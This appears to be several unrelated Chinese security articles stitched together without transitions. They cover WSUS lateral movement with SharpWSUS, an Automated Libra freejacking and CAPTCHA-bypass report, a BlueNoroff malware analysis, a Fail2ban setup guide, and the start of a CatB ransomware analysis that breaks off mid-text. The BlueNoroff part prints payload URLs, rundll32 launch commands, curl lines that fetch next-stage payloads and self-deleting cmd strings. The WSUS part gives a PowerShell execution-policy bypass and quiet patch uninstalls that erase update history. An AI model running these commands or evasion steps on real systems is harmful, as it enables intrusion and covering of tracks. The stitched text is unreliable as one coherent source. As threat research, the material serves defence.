PrepareXMLBundletoClient

DeploymentRevision

1.創建補丁SharpWSUS在創建補丁時需要注意轉義字符,命令示例:

9.png這條命令將會在Updates的Security Updates頁面下創建WSUSDemo,如下圖

10.png2.補丁部署將補丁部署到指定計算機組,命令示例:

11.png這條命令會創建計算機組Demo Group,並且把win-iruj9k30gr7移動到該組下面,如下圖

12.png接下來需要等待客戶端安裝這個補丁

3.查看補丁狀態查看補丁是否被安裝,命令示例:

13.png補丁未安裝的輸出如下:

14.png還有一種查看方法是查看計算機的補丁更新時間,示例命令:SharpWSUS.exe inspect

輸出示例:

15.png為了便於測試,可以強制客戶端更新補丁,看到新的補丁信息,如下圖

16.png4.清除補丁信息命令示例:

17.png這條命令會刪除補丁,刪除添加的計算機組

在整個補丁更新過程中,WSUS服務器會將psexec.exe保存在WSUS服務器本地C:\wsus\wuagent.exe和C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe,需要手動清除

在測試WSUSpendu時,為了便於分析細節,可以修改以下代碼:

18.png命令行執行:powershell -ep bypass -f WSUSpendu.ps1 -Verbose,將會輸出完整的信息

0x05 行為檢測客戶端的補丁歷史更新記錄會保存所有的補丁安裝信息:

如下圖

19.png

但是,攻擊者如果獲得了系統的管理員控制權限,可以通過命令行卸載補丁的方式清除歷史更新記錄,命令行卸載補丁的命令示例:

查看更新:wmic qfe list brief/format:table

卸載指定更新:wusa /uninstall /kb:976902 /quiet /norestart

0x06 小結本文介紹了通過WSUS進行橫向移動的方法和實現工具,結合利用思路,給出行為檢測的建議。

參考資料:

https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf

https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/

https://labs.nettitude.com/blog/introducing-sharpwsus/

Automated Libra黑客組織通過CAPTCHA繞過技術自動賬號創建,進行加密貨幣挖礦。

近期,南非黑客組織'Automated Libra'通過CAPTCHA繞過技術實現自動賬號創建,在雲平台創建賬戶,利用免費的資源進行加密貨幣挖礦來獲利。

Automated Libra是位於南非的黑客組織,也是freejacking攻擊活動PurpleUrchin背後的黑客組織。 Freejacking 是使用免費云資源來執行加密貨幣挖礦活動的過程。 Unit 42 研究人員分析了Automated Libra的250GB數據,發現了黑客的基礎設施、歷史和使用的技術。黑客使用簡單的圖像分析技術繞過CAPTCHA圖像,實現雲平台自動化賬號創建,每分鐘可以成功創建3-5個GitHub賬戶。 Unit 42研究人員成功發現了黑客在PurpleUrchin攻擊活動中使用的40個加密貨幣錢包和7種不同的加密貨幣。

利用GitHub工作流進行加密貨幣挖礦Automated Libra在針對GitHub的攻擊活動中融合了Play and Run以及freejacking技術。此外,攻擊者還利用了GitHub CAPTCHA檢查的弱點。

攻擊者以平均每分鐘3-5個的速度自動創建GitHub賬號。創建GitHub賬號後,就開始了freejacking攻擊活動。

攻擊者在不同的VPS(virtual private server)提供商和雲服務提供商平台上創建了超過13萬個賬戶,但是並沒有付費。這些創建的賬戶使用的都是虛假的個人信息以及信用卡信息。這使得攻擊者可以在完成加密貨幣挖礦活動後並未完成付費。

自動化賬號創建創建GitHub賬戶的第一步是輸入郵件地址、密碼和用戶名,如圖1所示:

image.png圖1. GitHub表單完成

容器運行虛擬網絡計算(VNC)服務器:使用如下命令啟動Iron瀏覽器:

image.png

圖2. VNC服務器展示Iron瀏覽器

然後使用xdotool工具,該工具是完成GitHub表單的主要腳本。表單完成後,GitHub會提示CAPTCHA:

image.png

圖3. GitHub CAPTCHA

攻擊者使用了一個非常簡單的機制來解決CAPTCHA問題。從攻擊者創建的GitHub賬戶統計數據來看,攻擊者實現CAPTCHA繞過的方法非常有效。

利用CAPTCHA的弱點為繞過CAPTCHA需要識別圖片背景中的星系,攻擊者使用了ImageMagick工具套件中的2個工具:convert 和identify。

首先,使用convert工具將圖像轉化為RGB格式。

image.png

圖4將圖像轉化為RBG

轉化完成後,使用identify命令來提取red 通道的skewness 特徵:

image.png

圖5. 提取red 通道的skewness 特徵的命令

最終的結果如圖6所示,以從大到小的順序排序。值最小的圖像就是背景圖片,比如:

image.png

圖6. 每個圖片的red通道輸出

圖4中的image 2就是識別出的星系背景圖片。 CAPTCHA解決後,GitHub需要一個啟動碼,如圖7所示:

image.png

圖7. GitHub 請求啟動碼

攻擊者使用Gmail賬號來自動獲取啟動碼。這一過程使用了IMAP協議和PHP腳本來讀取收到的IMAP消息。

啟動碼輸入後,自動化過程就可以生成個人訪問token。 GitHub註冊過程的最終結果是一個用戶名和GitHub部署的個人訪問token。

image.png

圖8. 調用運行的容器

隨後,容器執行以下操作:

設置SSH 密鑰;

使用GitHub API創建GitHub庫;

配置創建的庫的權限。

此外,攻擊者還使用基於MD5哈希值的隨機名來對庫進行命名。

image.png

圖9. 對庫進行隨機命名的命令

GitHub庫創建完成後,攻擊者調用一個bash腳本來用目標工作流來更新庫。工作流是用PHP腳本生成的, PHP模板編碼的工作流示例如圖10所示:

image.png

圖10. PHP模板

研究人員發現其中的一個工作流中有64個任務。生成的工作流配置為github.event.client_payload.app事件下的repository_dispatch運行。工作流機制允許攻擊者執行外部應用。在本例,攻擊者運行外部bash腳本和容器,如圖11所示:

image.png

圖11. 執行外部應用的工作流機制

工作流運行的bash腳本是從外部域名訪問的。攻擊者運行的容器是用來安裝和初始化加密貨幣挖礦功能的,如圖12所示:

image.png

圖12. 加密貨幣挖礦容器

生成的工作流運行64個任務,每個任務都從5個可用的唯一配置中隨機選擇一個。

經過確認的攻擊者創建的GitHub賬戶數如下圖所示。

image.png

圖13. PurpleUrchin攻擊者創建的GitHub賬戶數

此外,攻擊者還在Heroku、Togglebox、GitHub等不同雲平台服務商創建了超過13萬用戶賬戶。

截图.jpgBlueNoroff據說是一個朝鮮黑客組織,其攻擊主要充滿經濟動機。最近有消息報導,它創建70多個虛假域名並冒充銀行和風險投資公司後竊取了數百萬美元的加密貨幣。根據調查,大多數域名模仿日本風險投資公司,表明BlueNoroff對該國用戶和公司數據的濃厚興趣。

今年10月,我們觀察到其武器庫中採用了新的惡意軟件。該組織通常利用Word文檔,並使用快捷方式進行初始攻擊。然而,它最近開始採用新的惡意軟件傳播方法。

該組織採用的第一個新方法旨在規避網絡標記(MOTW)標誌,即當用戶試圖打開從互聯網下載的文件時,Windows會顯示警告信息的安全措施。為此,使用了光盤映像(.iso擴展名)和虛擬硬盤(.vhd擴展名)文件格式。這是當今逃避MOTW的常用策略,BlueNoroff也採用了這一策略。

此外,該組織還測試了不同的文件類型,以改進惡意軟件的傳播方法。我們觀察到一個新的Visual Basic腳本,一個以前未見過的Windows批處理文件和一個Windows可執行文件。 BlueNoroff幕後的攻擊者似乎正在擴展或嘗試新的文件類型,以有效地傳播他們的惡意軟件。

在研究了他們使用的基礎設施後,我們發現這個組織使用了70多個域名,這意味著他們直到最近都非常活躍。此外,他們還創建了大量看起來像風險投資和銀行域名的假域名。大多數域名模仿日本風險投資公司,表明該組織對日本金融實體有著廣泛的興趣。

BlueNoroff組織引入了新的文件類型來規避網絡標記(MOTW)安全措施;

BleuNoroff組織擴展了文件類型並調整了感染方法;

BlueNoroff創建了大量假冒風險投資公司和銀行的假域名。

背景

在2022年9月底,我們在追踪分析中觀察到新的BlueNoroff惡意軟件。經過仔細的調查,我們確認攻擊者採用了新的技術來傳達最終的負載。攻擊者利用了幾個腳本,包括Visual Basic腳本和Windows批處理腳本。他們還開始使用磁盤鏡像文件格式.iso和.vhd來傳播他們的惡意軟件。對於中間感染,攻擊者引入了一個下載程序來獲取和生成下一階段的有效負載。儘管最初的攻擊方法在這次活動中有很大不同,但我們之前分析的最終有效負載沒有發生重大變化。

1.png

新型感染鏈

持久攻擊的初始感染

根據追踪分析,我們觀察到阿聯酋的一名受害者受到了惡意Word文檔的攻擊。受害人於2022年9月2日收到了一份名為“Shamjit Client Details Form.doc”的文件。不幸的是,我們無法獲取該文檔,但它是從以下路徑執行的:

2.png

從文件路徑來看,我們可以假設受害者是銷售部門負責簽署合同的員工

啟動後,惡意文檔連接到遠程服務器並下載有效負載。在這種特殊情況下,可執行文件ieinstal.exe用於繞過UAC。

遠程URL:https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE=

已創建負載路徑:%Profile%\cr.dat

衍生命令:cmd.exe%Profile%\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU=

初次感染後,我們觀察到攻擊者進行了幾次鍵盤操作。通過植入的後門,他們試圖對受害者進行指紋識別,並安裝具有高級權限的額外惡意軟件。在感染後,攻擊者執行了幾個Windows命令來收集基本的系統信息。 18小時後,他們又回來安裝了具有更高權限的惡意軟件。

3.png

後利用當惡意Word文檔打開時,它會從遠程服務器獲取下一個有效負載:

下載URL:http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI=

提取的有效負載應保存在%Profile%\update.dll中。最終,提取的文件由以下命令生成:

命令#1:rundll32.exe%Profile%\update.dll,#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ==

命令#2:rundll32.exe%Profile%\update.dll,#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4=

BlueNoroff組織通常使用的另一種方法是帶有快捷方式文件的ZIP存檔。我們最近發現的存檔文件包含一個受密碼保護的誘餌文檔和一個名為“Password.txt.lnk”的快捷方式文件。這是經典的BlueNoroff策略,說服受害者執行惡意快捷方式文件以獲取誘餌文檔的密碼。最新發現的檔案文件(MD5 1e3df8ee796fc8a13731c6de1aed0818)有一個日文文件名,新しいボ,ナススケジュ,ル.zip(日文“新獎金計劃”),表明他們對日本目標感興趣。

與前一個快捷方式示例的主要區別在於,它獲取了額外的腳本負載(Visual Basic腳本或HTML應用程序),此外,此時還採用了另一種獲取和執行下一階段有效負載的方法。受害者雙擊快捷方式文件時執行了以下命令:

4.png

為了逃避檢測,攻擊者使用了Living Off the Land Binaries (LOLBins)

DeviceCredentialDeployment執行是一個眾所周知的LOLBin,用於隱藏命令的窗口。攻擊者還濫用msiexe.exe文件,以靜默方式啟動獲取的Windows安裝程序文件。

方法1:規避MOTW標誌的技巧我們觀察到攻擊者檢查了不同的文件類型來傳遞他們的惡意軟件。最近,許多攻擊者採用圖像文件來避免MOTW (web標記)。簡而言之,MOTW是微軟引入的一種緩解技術。 NTFS文件系統標記從互聯網下載的文件,Windows以安全的方式處理該文件。例如,當從互聯網獲取Microsoft Office文件時,操作系統在受保護視圖中打開它,這限制了嵌入宏的執行。為了避免這種緩解技術,越來越多的攻擊者開始濫用ISO文件類型。 BlueNoroff組織很可能用ISO鏡像文件來傳播他們的惡意軟件。雖然它仍在開發中,但我們將此示例作為預警。此ISO圖像文件包含一個PowerPoint幻燈片放映和一個Visual Basic腳本。

5.png

ISO鏡像的嵌入式文件

Microsoft PowerPoint文件包含鏈接。當用戶點擊鏈接時,它將執行1.vbs文件。當我們檢查VBS文件時,它只生成了一個“ok”消息,這表明BlueNoroff仍在嘗試這種方法。

6.png

根據其他發現,我們從VirusTotal中發現了一個野外示例(MD5 a17e9fc78706431ffc8b3085380fe29f)。在分析時,此.vhd示例未被任何反病毒軟件檢測到。虛擬磁盤文件包括偽造的PDF文件、Windows可執行文件和加密的Dump.bin文件。 PDF和可執行文件在文件擴展名前有許多空格,以隱藏它並減少懷疑。

7.png

VHD文件裡面的一個文件

Job_Description[spaces].exe文件(MD5 931d0969654af3f77fc1dab9e2bd66b1)是加載下一階段有效負載的加載器。在啟動時,它將Dump.bin文件複製到%Templates%\war[current time][random value].bin (i.e. war166812964324445.bin). Dump.bin中PE頭被修改。惡意軟件讀取Dump.bin的第一個字節,即該文件中的0xAF,並使用該密鑰解碼0x3E8字節。解密後的數據是PE文件的頭文件,將恢復後的頭文件覆蓋到原文件中。最後,它通過生成普通的第一個導出函數來加載解密的DLL文件。

生成的下載程序在文件的末尾包含一個加密的配置。惡意軟件首先從文件末尾獲取配置數據的總大小和有效負載URL的長度。它們分別位於文件末尾的4字節和8字節處。惡意軟件使用嵌入的64字節密鑰,使用RC4算法解密配置數據。

RC4秘鑰:46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 50 33。

恢復URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D

8.png

配置結構

然而,在另一個下載程序的示例中,有效負載URL是使用命令行參數傳播的。另外,一些其他下載程序(MD5 f766f97eb213d81bf15c02d4681c50a4)具有檢查工作環境的功能。如果物理內存小於2147,483,648字節,惡意軟件將終止執行。

9.png

下載程序感染流

此下載程序檢查以下防病毒供應商的名稱:Sophos、Kaspersky、Avast、Avira、Bitdefender、TrendMicro和Windows Defender。如果安裝了TrendMicro、BitDefender或Windows Defender產品,則惡意軟件會執行一個經典的解鎖DLL技巧,以從系統庫中刪除用戶模式掛鉤。這種規避技術會用新加載的ntdll庫覆蓋預加載的ntdll庫的.text部分,以便使用原始API地址恢復掛接的API地址。使用此技巧,惡意軟件可以禁用EDR/AV產品的功能。接下來,惡意軟件創建一個互斥鎖以避免重複執行。

互斥名稱:da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f

接下來,惡意軟件在同一目錄中打開一個PDF誘餌文檔。這份假文件偽裝成一家日本跨國銀行提供的工作邀請。

如果受害者的電腦上安裝了Windows Defender或Bitdefender Antivirus,惡意軟件就會執行以下命令:

Windows Defender: cmd /c timeout /t 10 Del /f /q \”[current file name]\” attrib -s -h \”[PDF decoy file]\” rundll32 \”[current DLL file path]\” #1;

Bitdefender: cmd /c timeout /t 10 rundll32 \”[current DLL file path]\” #1;

這種惡意軟件的主要目標是獲取下一階段的有效負載。為此,惡意軟件使用cURL庫,根據安裝的防病毒軟件組合cURL命令。

Avira or Avast installed: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d da;

Other cases: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d dl;

注意,用戶代理名稱為“cur1-agent”,如果受害者安裝了Avira或Avast,惡意軟件會發送“da”POST數據。否則,惡意軟件將發送“dl”POST數據。如果cURL命令獲取的數據包含“

如果安裝了Avira或Avast,惡意軟件將解密的有效負載保存到“%TEMPLATES%\marcoor.dll”,並使用帶有有效負載URL的rundll32.exe命令生成它。

command: exe %TEMPLATES%\marcoor.dll #1 [payload URL]

否則,惡意軟件不會將有效負載寫入文件,而是將獲取的有效負載注入explorer.exe進程。所獲取的有效負載是一個DLL類型的可執行文件,其導出函數由“有效負載URL”派生。

不幸的是,到目前為止,我們還無法獲得精確的感染鏈。然而,從分析數據中,我們可以確認受害者最終是被後門類型的惡意軟件攻擊的。基於惡意軟件的靜態信息和部分內部代碼,我們評估最終的有效負載仍然與我們在上一篇文章中描述的Persistence Backdoor#2非常相似。

方法2:腳本和小說下載程序此外,我們還觀察到可疑批處理文件的下載和啟動。攻擊者利用了不同的lolbin。惡意軟件的執行是使用system目錄下合法的script, SyncAppvPublishingServer.vbs, 完成的。此腳本用於通過Windows計劃任務執行PowerShell腳本。

10.png

我們還在分析中觀察到了該批處理文件的上下文。批處理文件名為“What is Blockchain.bat”。顧名思義,該組織仍然以區塊鏈行業為目標。為此,我們提取了批處理文件的scriptlet。

11.png

Inproc.exe是合法的mshta.exe文件(MD5 0b4340ed812dc82ce636c00fa5c9bef2), rwinsta.exe是合法的rundll32.exe文件(MD5 ef3179d498793bf4234f708d3be28633)。 Blockchain.pdf文件是mshta.exe進程生成的惡意HTML應用程序文件。雖然沒有HTA腳本(Blockchain.pdf),但我們可以基於假設腳本的功能顯示誘餌文檔並獲取下一階段的有效負載。

12.png

此外,我們觀察到該組織在此時引入了一個新的Windows可執行類型的下載程序。這個惡意軟件(MD5 087407551649376d90d1743bac75aac8)在獲取遠程有效負載並執行時生成一個假密碼文件。在執行時,它創建一個假文件(wae.txt)來顯示由字符串“password”組成的密碼,並從嵌入的URL中獲取有效負載並加載它。該方案通過notepad.exe顯示密碼,這是BlueNoroff組織為了避免引起受害者的懷疑而慣用的伎倆。通常,密碼包含打開所提供的加密誘餌文檔所需的密碼。

13.png

含有假密碼文件的下載

攻擊者可能將上述Windows可執行文件以壓縮文件格式或磁盤映像文件格式與加密的誘餌文檔一起傳播。

基礎設施

在進行這項研究時,我們發現了攻擊者使用的幾個C2服務器。與往常一樣,所有服務器都由VPS供應商託管,其中幾個服務器被解析到相同的IP地址。域名註冊可以追溯到2021年早些時候。

14.png

攻擊者通常使用假域名,如雲託管服務來託管惡意文件或有效負載。他們還創建了偽裝成金融業合法公司和投資公司的假域名。這些域名,包括旋轉域名(pivoted domain),模仿風險資本名稱或大型銀行名稱。大多數公司都是日本公司,這表明這位演員對日本市場非常感興趣。

15.png

受害者分析正如我們在“持久攻擊的初始感染”一節中所描述的那樣,我們發現阿聯酋的一個受害者(可能是一家家庭融資公司)受到了經典的BlueNoroff組織的攻擊。這個以經濟為動機的攻擊組織最近一直在攻擊各種與加密貨幣相關的業務,以及其他金融公司。

總結根據最近的一份報告,BlueNoroff組織利用他們的網絡攻擊能力竊取了價值數百萬美元的加密貨幣。這表明這個組織有很強的經濟動機,正如我們從最新的發現中看到的,這個臭名昭著的攻擊者已經對他們的惡意軟件進行了迭代。這也表明,在不久的將來,它將發起更大的攻擊。

如何保護Web 應用程序免受密碼破解(上)

什麼是Fail2ban,它是如何工作的? Fail2ban是一種用於掃描日誌文件、檢測可疑活動(例如過多失敗的身份驗證嘗試)並阻止潛在惡意IP 地址的工具。

這項免費服務有助於保護Linux 機器免受暴力破解和其他自動攻擊。通常,Fail2ban 用於更新防火牆規則以在指定時間內拒絕IP 地址。

Fail2ban 具有以下優點:

易於設置

免費使用

可以與大量應用程序交互

提供大量配置參數

易於監控當前保護狀態

與各種通知服務集成

儘管Fail2ban 可以幫助您最大程度地減少不正確的身份驗證嘗試次數,並在一定程度上降低密碼破解和未經授權訪問的風險,但這並不是靈丹妙藥。

不利的一面是,Fail2ban 無法解決因服務器身份驗證策略薄弱而出現的問題。即使是最好的Fail2ban 配置也不能替代我們上面討論的密碼保護最佳實踐。此外,Fail2ban 僅適用於Linux,不適用於IPv6。

為了有效地保護您的服務,您還可以應用用於多因素和公共/私人身份驗證機制的工具。

image.png

Fail2ban 優缺點

Fail2ban 如何運作?以下是對其機制的簡單解釋:

任何應用程序或服務器總是將日誌保存在特定文件中,包括失敗的身份驗證嘗試的唯一日誌。

Fail2ban 掃描這些文件,搜索與身份驗證失敗相關的日誌。

如果檢測到失敗的身份驗證嘗試,Fail2ban 會保存嘗試時間和負責的IP 地址。

Fail2ban 計算在指定時間段內來自同一IP 的失敗身份驗證嘗試。

如果IP 地址超過允許的嘗試次數,Fail2ban 會創建一個新的防火牆規則來阻止此IP 地址。

結果,可疑的IP 地址將失去訪問服務器的能力。經過一段可配置的時間後,IP 地址可以自動解禁,也可以手動解禁。

例如,您可以配置Fail2ban,如果任何威脅行為者開始密碼破解攻擊,他們的IP 地址將被禁止五個小時。

現在,讓我們探索配置過程本身。

如何配置Fail2ban您可以配置Fail2ban 來讀取不同應用程序的日誌。開箱即用,此工具可以與以下應用程序類型交互:

SSH 服務器

HTTP 服務器

網絡郵件和群件服務器

網絡應用

HTTP 代理服務器

FTP服務器

郵件服務器

郵件服務器驗證器

DNS 服務器

來自不同類別的各種服務器應用程序

默認情況下,Fail2ban 啟用使用sshd的通信,這是一個OpenSSH 服務器進程。這意味著在多次SSH 身份驗證嘗試失敗後,負責的IP 地址將被禁止。

為了與任何應用程序交互,Fail2ban 使用Jail,它是一個過濾器和一個或多個操作的組合。此交互允許您在身份驗證嘗試失敗後禁止IP 地址。

默認情況下, Jail配置保存在jail.conf 文件中。如果要更改默認設置,請複製配置文件並將副本命名為jail.local。如果jail.local 文件存在,Fail2ban 將自動使用它而不是默認文件。

我們不建議更改原始配置文件,因為如果出現任何錯誤,返回默認設置將是一個挑戰。此外,一旦安裝了Fail2ban 的新更新,jail.conf 文件也將更新,所有自定義設置都將消失。

以下是Fail2ban 如何確定失敗的身份驗證嘗試:

該工具具有寫入jail.local 配置文件中的服務日誌文件的路徑。

失敗的身份驗證日誌和常規異常會自動添加到Fail2ban 文本過濾器中。

該工具使用文本過濾器掃描日誌文件。

如果您打開配置文件,您會發現一個相當大的Fail2ban 可以與之交互的應用程序列表。這些應用程序的名稱在括號中,如下面的示例代碼所示:

#Mailservers

[assp]

port=smtp,465,submission

logpath=/root/path/to/assp/logs/maillog.txt

[courier-smtp]

port=smtp,465,submission

logpath=%(syslog_mail)s

backend=%(syslog_backend)s

[postfix]

#Touseanothermodessetfilterparameter'mode'injail.local:

mode=more

port=smtp,465,submission

logpath=%(postfix_log)s

backend=%(postfix_backend)s

[postfix-rbl]

filter=postfix[mode=rbl]

port=smtp,465,submission

logpath=%(postfix_log)s

backend=%(postfix_backend)s

maxretry=1默認情況下,Fail2ban 被配置為僅使用SSH,所有其他通信協議都被禁用。如果需要開啟其他類型的通信,在配置文件中找到需要的類型,添加如下字符串:

enabled=true這是一個例子:

[nginx-http-auth]

enabled=true

port=http,https

logpath=%(nginx_error_log)s如果需要,您還可以更改與特定應用程序交互的現有參數或添加新參數。以下是常用參數列表:

ignoreip指定要被Fail2ban 忽略的IP 地址。默認情況下,此參數設置為忽略當前機器的流量。

bantime 以秒為單位設置禁令持續時間。默認值為600 秒。

findtime定義了監視來自每個IP 地址的失敗身份驗證嘗試的時間段。默認值為600 秒。

maxretry指定在findtime 指定的時間內每個地址的失敗登錄嘗試限制。

usedns確定是否使用反向DNS 進行阻止。如果設置為NO,那麼Fail2ban 將阻止IP 地址而不是主機名。如果設置為YES,該工具將嘗試使用反向DNS 來查找主機名並阻止它。默認值為WARN。它的工作方式與YES 值一樣,但也會記錄警告。系統工程師稍後可以查看所有警告。

協議指定將被阻止的流量類型。默認情況下它是TCP。

port指定要禁止的端口。

logpath顯示日誌文件的路徑。

注意:上面的列表並未描述所有Fail2ban 參數。您可以在配置文件中找到所有這些。

您可以在/etc/fail2ban 文件夾中的文件中的日誌路徑參數中找到默認設置的日誌文件路徑(例如,上面代碼示例中的nginx_error_log ) :

paths-common.conf — 具有默認服務日誌路徑的文件

paths-opensuse.conf、paths-arch.conf、paths-debian.conf — 包含不同Linux 系統特定路徑的文件

如果您打開上面提到的文件,您可以看到類似於這些的日誌文件的路徑:

apache_error_log=/var/log/apache2/*error.log

apache_access_log=/var/log/apache2/*access.log

auditd_log=/var/log/audit/audit.log

exim_main_log=/var/log/exim/mainlog

nginx_error_log=/var/log/nginx/*error.log

nginx_access_log=/var/log/nginx/*access.log如有必要,您可以編輯過濾器以指示應在日誌中搜索哪些文本以確定失敗的身份驗證。每個過濾器都位於/etc/fail2ban/filter.d 文件夾中的單獨文件中。

image.png

屏幕截圖1. /etc/fail2ban/filter.d文件夾中的過濾器列表

當您打開任何過濾器文件時,您將看到一個正則表達式,其中包含所需的失敗身份驗證文本,如下例所示:

image.png

屏幕截圖2. 驗證失敗的過濾文本

配置完成後,使用以下命令重新加載Fail2ban:

sudofail2ban-clientreload如果您只更改一個Jail文件的設置,則無需重新啟動該工具。只需使用此命令重新加載它:

image.png

此外,您可以將Fail2ban 配置為與配置文件中不存在的任何應用程序進行交互。您需要做的就是如上所述添加您的自定義配置。

如何使用Fail2ban要檢查當前啟用了哪些Jails ,請使用以下命令:

sudofail2ban-clientstatus以下是響應示例:

Status

|-Numberofjail:2

`-Jaillist:nginx-http-auth,sshd如您所見,服務器上啟用了nginx-http-auth 和sshd Jails 。如果你想檢查任何Jail參數的值,你不需要打開配置文件;只需使用以下命令:

image.png

下面的代碼示例向我們展示了sshd Jail maxretry 等於5:

sudofail2ban-clientgetsshdmaxretry5如果Jail超過其失敗身份驗證嘗試的限制,Fail2ban 將禁止在Jail配置中為IP 地址指定的端口。要檢查Jail狀態,請使用以下命令:

image.png

下面是一個響應示例,向我們展示了兩個IP 地址當前被禁止進行SSH 訪問:

Statusforthejail:sshd

|-Filter

||-Currentlyfailed:0

||-Totalfailed:25

|`-Filelist:/var/log/auth.log

`-Actions

|-Currentlybanned:2

|-Totalbanned:5

`-BannedIPlist:192.168.10.107192.168.10.115如果您嘗試在您的IP 在禁止列表中時訪問服務器,您會收到如下所示的“連接被拒絕”錯誤:

ssh:connecttohost192.168.10.105port22:Connectionrefused如果IP 地址被任何HTTP 服務器Jail禁止,錯誤將類似於:

curl:(7)Failedtoconnectto192.168.10.105port80:Connectionrefused您還可以使用以下命令手動將任何IP 地址添加到禁止列表:

image.png

這是一個例子:

sudofail2ban-clientsetnginx-http-authbanip10.100.1.210要手動取消禁止IP 地址,請使用以下命令:

image.png

這是一個例子:

sudofail2ban-clientsetnginx-http-authunbanip10.100.1.210考慮到這一點,讓我們開始在Fail2ban 中配置通知。

如何配置Viber 聊天機器人以接收Fail2ban 通知如果要監控Fail2ban 活動,請使用以下三個步驟配置實時活動通知:

配置您要使用的任何通知服務

準備Fail2ban 動作配置文件

更新jail.local 文件中的action參數值

Fail2ban 具有使用電子郵件服務的配置。您需要做的就是在服務器上配置服務。

但是,如果您想通過Viber 等消息服務獲取通知怎麼辦?讓我們討論如何配置它!

首先,要將Viber 用作通知服務,您需要創建一個Viber 聊天機器人。您可以在Viber API 文檔頁面上找到有關Viber 聊天機器人設置和配置的文檔。

一旦您的聊天機器人準備就緒,請務必執行以下步驟:

1. 獲取Viber 聊天機器人的身份驗證令牌。您可以在Viber 管理面板頁面上找到它。

2.在訂閱Viber 聊天機器人的所有用戶列表中找到您的用戶ID。為此,請使用以下HTTP 請求:

image.png

響應將向您顯示成員列表,如下例所示:

image.png

選擇所需成員的ID 並複制。

現在,您可以開始配置Fail2ban。轉到/etc/fail2ban/action.d 文件夾,其中包含所有可能的Fail2ban 操作的配置。

為Viber 通知創建一個新的配置文件。我們將其命名為viber_notifications.conf。現在將以下內容添加到文件中:

image.png

讓我們弄清楚上面的字符串是什麼意思以及我們可以配置什麼:

actionban和actionunban參數描述了Fail2ban禁止或取消禁止可疑IP 地址時需要執行的操作。在我們的例子中,HTTP 請求會將消息從您的Viber 聊天機器人發送給您指定的用戶。

image.png

sender為配置通知發送者名稱的參數。在我們的示例中,我們使用名稱“Fail2ban”。

type是幫助您配置消息類型的參數。您可以使用Viber 發送不同的消息類型。在我們的示例中,我們使用文本類型。

image.png

name=default是一個字符串,表示將動態分配Jail名稱

我們的下一步是配置jail.local。為此,您需要在必要的Jail部分添加一個操作參數或更新[DEFAULT]部分中的默認參數。該參數應包含兩個操作:第一個用於IP 禁止,第二個用於Viber 通知。

這是使用action參數的示例

action=%(action_)s

viber_notifications注意:%(action_)s是默認操作值。此操作將禁止IP 地址。讓我們將Viber 操作配置名稱“viber_notifications”添加到第二個字符串。

現在,由於對jail.conf 文件進行了更改,您需要重新加載Fail2ban 客戶端並重新啟動服務:

sudofail2ban-clientreload

systemctlrestartfail2ban聊天機器人將如下所示:

screenshot-3-Fail2ban-notifications-in-a-viber-chatbot.jpg

屏幕截圖3. Viber 聊天機器人中的Fail2ban 通知

配置完成。現在您可以使用Viber 聊天機器人實時監控Fail2ban 活動!

結論密碼破解攻擊是對任何應用程序的嚴重威脅。惡意行為者使用不同的方法來未經授權訪問用戶帳戶並竊取用戶的敏感數據。

為了保護您的應用程序免受此類威脅,請應用嚴格的身份驗證策略並使用Fail2ban 等服務設置可靠的密碼破解保護。

微信截图_20230104102636.png

最新發現的勒索軟件CatB,該軟件通過處理器內核檢查,物理內存大小檢查和硬盤大小來檢查自己是否是在虛擬機中,然後執行MSDTC 服務的DLL劫持繞過殺毒軟件。

我們最近發現了一個新型勒索軟件,它執行MSDTC服務DLL劫持以靜默執行其有效負載。我們根據勒索軟件組使用的聯繫電子郵件將此勒索軟件命名為CatB。該樣本於2022年11月23日首次上傳至VT,並被VT社區標記為Pandora勒索軟件的可能變體。 Pandora組織首次出現於2022年2月中旬,主要以企業網絡為目標進行針對性攻擊,主要通過釣魚郵件、漏洞利用、RDP爆破等方式進行傳播,採用Raas雙重勒索的策略,在對用戶系統進行加密導致工作無法正常運作的情況下,利用竊取的數據脅迫用戶支付贖金,否則就外洩。該組織使用Tor站點或者Email郵箱方式與受害者聯繫。

Pandora 勒索軟件最重要的功能就是應用了先進的反逆向技術,雖然在惡意軟件中反逆向技術很常見,但Pandora的這一功能頗為突出。與潘多拉勒索軟件的聯繫僅限發出的勒索信。 CatB勒索軟件實現了幾種反虛擬機技術,以驗證在真實設備上的執行情況,然後釋放惡意DLL和劫持DLL以逃避檢測。

CatB勒索軟件包含兩個文件,包含UPX的dropper(version.dll)和勒索軟件有效負載(oci.dll)。 dropper處理反vm檢查,釋放勒索軟件負載並執行它。

反虛擬機(Anti-VM)CatBdropper實現了三種反虛擬機/沙盒規避技術:

處理器內核檢查:現如今的真實計算機都至少有兩個處理器,所以如果勒索軟件只檢測到一個CPU內核,這將是一個很強的信號,表明它當前駐留在沙盒中。勒索軟件通過GetSystemInfo API函數檢索系統信息並檢查處理器數量。如果少於兩個處理器,則退出立即中斷執行。

figure-1-check-number-of-processors.webp.jpg

處理器檢查

總物理內存檢查:與虛擬機不同,現在的虛擬機都至少有2GB RAM,通常在4GB和32GB之間。 CatB勒索軟件通過檢查物理內存大小來檢測虛擬機/沙盒。這是通過使用GlobalMemoryStatusEx API函數檢索有關物理和虛擬內存的信息來完成的。在本文的示例中,如果即將運行的物理內存少於2GB,勒索軟件會退出。

